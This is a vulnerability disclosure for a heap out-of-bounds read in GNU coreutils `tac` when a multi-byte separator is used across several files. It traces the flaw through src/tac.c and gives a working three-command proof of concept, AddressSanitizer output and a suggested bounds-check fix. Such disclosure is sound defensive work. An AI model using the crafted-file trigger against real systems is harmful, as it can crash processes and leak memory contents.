## Summary
An attacker who controls the contents, sizes, and number of the files
passed to `tac` can cause a deterministic heap out-of-bounds read. The
trigger requires the operator to use a non-regular-expression multi-byte
separator of length at least 3 (`tac -s STR`) together with at least two
file operands. No special privileges are required, and the default newline
separator and the `-r` regular-expression mode are unaffected.
## Technical Details
The missing check is that, after the read-ahead `memmove` in
`tac_seekable`, a matched separator end is accepted without verifying that
it stays within the buffer: `match_end` may exceed `past_end`, and
`saved_record_size` is not guaranteed to be at least `match_length - 1`.
The data flow is:
- `main` at `src/tac.c:570-579` calls `tac_file` once per file operand, so
any number of attacker-controlled files can be processed.
- In non-regex mode, `main` at `src/tac.c:521-523` assigns `-s STR` to
`separator`, and `match_length = sentinel_length = strlen (STR)`; once that
length is at least 3, the later out-of-bounds match can succeed.
- `tac_file` at `src/tac.c:476-480` sends a seekable regular file directly
to `tac_seekable`, with `file_pos` equal to the file size.
- When the reverse scan misses, `tac_seekable` at `src/tac.c:342-346` moves
the pending record with `memmove`, sets the search start to `G_buffer +
read_size`, and sets `past_end = G_buffer + read_size + saved_record_size`,
without ensuring `saved_record_size` is at least `L - 1`.
- The first candidate position is `G_buffer + read_size - 1`, and
`STREQ_LEN` at `src/tac.c:292-295` compares `L - 1` bytes forward, reading
past `past_end` into leftover or uninitialized bytes and matching.
- At `src/tac.c:361-366`, `match_end = match_start + match_length` is
greater than `past_end`, and `output (match_end, past_end)` is called
without any upper-bound check.
- In `output` at `src/tac.c:157-182`, `bytes_to_add = past_end - start`
underflows as `size_t` to approximately `2^64`, and the loop starting at
`src/tac.c:170` advances from `match_end` in `WRITESIZE` steps, first
leaking buffer contents and then reading past the `G_buffer` allocation.
The affected location is the `output` function in `src/tac.c`, lines
157-182.
## Affected Versions
The AddressSanitizer reproduction used audited commit
`6f36b64689796bf89b57eb86265e41dc212968c8`. Upstream `master` at
`7d74e197bb90aeb4893d1e5f4ee5b998d27a13eb` had identical
`src/tac.c` during testing on 2026-10-26. A release GNU coreutils 9.4
binary also reproduced the invalid output and SIGSEGV without ASan.
Older, intermediate, and future versions were not exhaustively tested.
## Impact
The over-read can disclose bytes beyond the valid data boundary and
potentially expose process-memory contents, and it eventually reads
beyond the allocation, causing a crash or prolonged invalid output. The
PoC does not prove stable disclosure of a specific secret. The confirmed
security impact is a memory-safety violation with possible confidentiality
and availability consequences.
## Proof of Concept
Audited commit `6f36b64689796bf89b57eb86265e41dc212968c8`. From a Git
checkout with its `gnulib` submodule initialized, an example ASan build is:
```sh
git submodule update --init
./bootstrap --no-git --skip-po --gnulib-srcdir=gnulib
CC=clang \
CFLAGS='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \
LDFLAGS='-fsanitize=address' \
./configure --disable-nls
make -j2
```
The following commands reproduce the issue:
```
$ head -c 8193 /dev/zero | tr '\0' A > file1; printf X >> file1
$ head -c 8191 /dev/zero | tr '\0' A > file2; printf XY >> file2
$ src/tac -s XYX file1 file2
```
`file1` is 8194 bytes of `A` with offset 8193 set to `X`; `file2` is 8193
bytes of `A` with offset 8191 set to `X` and offset 8192 set to `Y`.
The observed result is an AddressSanitizer heap-buffer-overflow, `READ of
size 8192`, with the sink in `output` at `src/tac.c:172` (`memcpy`). The
over-read address lies immediately after a 16392-byte region allocated by
`xmalloc` at `main` `src/tac.c:559`. Before the abort, 16384 bytes had
already been written to stdout: 8193 bytes of `0x41`, 8190 bytes of `0x00`,
and 1 byte of `0x58`. `tac` exited with code 134 (SIGABRT,
`abort_on_error=1`).
Key AddressSanitizer output:
```text
=================================================================
==9==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x7dca250e4208 at pc 0x564d27ca9f9b bp 0x7ffd10570f10 sp 0x7ffd105706d0
READ of size 8192 at 0x7dca250e4208 thread T0
#0 0x564d27ca9f9a in __asan_memcpy
/src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:63:3
#1 0x564d27ceff04 in memcpy
/usr/include/x86_64-linux-gnu/bits/string_fortified.h:34:10
#2 0x564d27ceff04 in output /work/build/source/src/tac.c:172:7
#3 0x564d27cf050b in tac_seekable /work/build/source/src/tac.c
#4 0x564d27cefb38 in tac_file /work/build/source/src/tac.c
#5 0x564d27cefb38 in main /work/build/source/src/tac.c:579:13
#6 0x7f3a25b4a082 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId:
5792732f783158c66fb4f3756458ca24e46e827d)
#7 0x564d27c08b6d in _start (/work/build/source/src/tac+0x31b6d)
0x7dca250e4208 is located 0 bytes after 16392-byte region
[0x7dca250e0200,0x7dca250e4208)
allocated by thread T0 here:
#0 0x564d27cac2f4 in malloc
/src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3
#1 0x564d27d24108 in xmalloc /work/build/source/lib/xmalloc.c:49:25
#2 0x564d27cef775 in main /work/build/source/src/tac.c:559:14
#3 0x7f3a25b4a082 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId:
5792732f783158c66fb4f3756458ca24e46e827d)
SUMMARY: AddressSanitizer: heap-buffer-overflow
/usr/include/x86_64-linux-gnu/bits/string_fortified.h:34:10 in memcpy
==9==ABORTING
tac_exit=134
```
The complete, unedited ASan log, including shadow bytes, remains in the
original platform evidence; only the decisive stack and allocation record
are reproduced above.
Control runs with the same input did not trigger the issue: default
newline, `-s X` (L=1), `-s XY` (L=2), a single `file1`, `-r -s XYZ`, and
`-b -s XYZ` all exited 0 with no AddressSanitizer report.
## Suggested Fix
Add the missing upper-bound check so that a separator match is accepted
only when its end lies within the record: verify that `match_end <=
past_end` before calling `output`, and ensure the shifted
`saved_record_size` is at least `match_length - 1` so the reverse
`STREQ_LEN` scan cannot read past `past_end`. A match whose end falls
beyond `past_end` should be treated as no match at that position.
## Credit
SecBuddyF (with Hy4-preview) of Tencent KeenSecurityLab